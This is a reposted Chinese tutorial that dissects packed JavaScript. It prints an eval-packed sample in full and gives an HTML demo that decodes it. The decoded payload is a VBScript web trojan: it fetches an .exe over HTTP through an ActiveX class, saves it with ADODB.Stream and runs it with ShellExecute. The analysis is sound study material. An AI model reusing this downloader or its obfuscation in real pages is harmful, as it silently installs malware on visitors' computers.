js加密代码的分析[转]
三步骤
1.理解js匿名函数的调用方法 具体:(function(v){alert(v);}('test')); 等价于 eval(function(v){alert(v);}('test'));
2.解密方法存在于加密js中。
3.执行过程 用解密函数 执行js加密代码 最后是完整js代码。
源代码是这样的
把我给的代码里的所有注释全部去掉就可以看到很有节奏感的代码,
CODE:
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{}))
再对想分析这个代码的读者罗嗦下就是:作者用了很多的简写和“花指令”,大家分析的时候要仔细“品”一下,呵呵
首先可以看到代码的结构为 eval( a_function( par1 , par2.. ) );
就是用一个“解密”函数 生成正确的代码,然后用eval激活执行。
这个解密函数拿出来就是:
CODE:
function decode(p,a,c,k,e,d)
{e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
if(!''.replace(/^/,String)){
while(c--)d[e(c)]=k[c]||e(c);
k=[function(e){return d[e]}];
e=function(){return'\\w+'};
c=1;};
while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
return p;}
实现的功能就是 生成一个替换表,将密文中的对应字母替换为一个对应的单词。
下面是我给出的演示代码,因为里面已经有很多注释了,我也不再多说。
将代码复制并保存为htm文件直接打开就能看到演示。
推荐用一个带有代码颜色区分显示功能的编辑器【EditPlus或UEdit等】查看下面的代码。
CODE:
<body style="font-size:12px;">
这里演示一下替换关系。<br>
以下为原始的字串<br>
<textarea cols=120 rows=8>
3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")</textarea><br>
以下开始用js生成一个代换表,将上表中对应的字母替换为单词:<br>
<script>
var result;
function f(p,a,c,k,e,d)
{
//c=关键词数量
//a=与映射表有关
//k=关键词数组
//p=密文
//e,d=空
e=function(c)
{return (c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};
//*这里做了一个c的映射函数,从数字映射到ascii字符。0~35 -> 0~z; 35~61 -> A~Z; 62~97 -> 10~1z ...
while(c--)d[e(c)]=k[c]||e(c); //*
//再次映射 字母 -> 单词 ,
//k=[function(e){return d[e]}]; //相当于k[0]=function(e){return d[e]};
//e=function(){return'\\w+'};
//c=1;
//while(c--)
//{if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //k[c]是一个函数
//其实上面的东西都是用来让我们犯糊涂的好方法,精简后代码如下
c=0;
//p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]); //做正则替换
p=p.replace(/\b\w+\b/g,function(e){return d[e]});
//下面的代码是我自己加的,仅为了演示用
result=p;
document.write("<textarea cols=120 rows=13>")
for (key in d) //显示映射表的所有表项
{ document.write(key+" => "+d[key]+"\n"); }
document.write("</textarea><br>")
//}
}
f('3.4("<p>");3.4(" <m L=\\"M\\">");3.4(" N I J K");3.4(" 9 = \\"O:\\/\\/U.V.W\\/P.c\\"");3.4(" f 5 = 3.R(\\"T\\")");3.4(" 5.H \\"v\\", \\"w:y-s-t-u-z\\"");3.4(" g=\\"D.E\\"");3.4(" f x = 5.A(g,\\"\\")");3.4(" d=\\"C\\"");3.4(" e=\\"X.\\"");3.4(" j=\\"1b\\"");3.4(" k=\\"1c\\"");3.4(" h=d&e&j&k");3.4(" i=h");3.4(" 7 S = 5.8(i,\\"\\")");3.4(" S.1e = 1");3.4(" a=\\"18\\"");3.4(" x.11 a, 9, Y");3.4(" x.Z");3.4(" 6=\\"16.c\\"");3.4(" 7 F = 5.8(\\"15.13\\",\\"\\")");3.4(" 7 b = F.14(2) ");3.4(" 6= F.10(b,6)");3.4(" S.n");3.4(" S.1f x.19");3.4(" S.17 6,2");3.4(" S.1a");3.4(" 7 Q = 5.8(\\"G.B\\",\\"\\")");3.4(" Q.12 6,\\"\\",\\"\\",\\"n\\",0");3.4(" <\\/m>");3.4(" <o>");3.4(" <l>1g 1h 1d<\\/l>");3.4(" <\\/o><q>");3.4(" <r><\\/r>");3.4(" <\\/q><\\/p>")',62,80,'|||document|writeln|df|fname1|set|createobject|dl|str6|tmp|exe|a1|a2|Set|str|str1|str5|a3|a4|title|script|open|head|html|body|center|65A3|11D0|983A|classid|clsid||BD96C556|00C04FC29E36|CreateObject|Application|Ado|Microsoft|XMLHTTP||Shell|setAttribute|error|resume|next|language|VBScript|on|http|go||createElement||object|www|baidu|com|db|False|Send|BuildPath|Open|ShellExecute|FileSystemObject|GetSpecialFolder|Scripting|Ravwon|savetofile|GET|responseBody|close|Str|eam|hacker|type|write|fuck|all'.split('|'),0,{});
document.write("<br>这就是替换的结果:<br><textarea cols=120 rows=16>"+result+"</textarea>");
</script>
<br><br>最后使用了eval()将以上生成的代码激活执行。<br>
你可以仔细对照原来的代码与现在的代码来体会一下作者的用意,呵呵<br>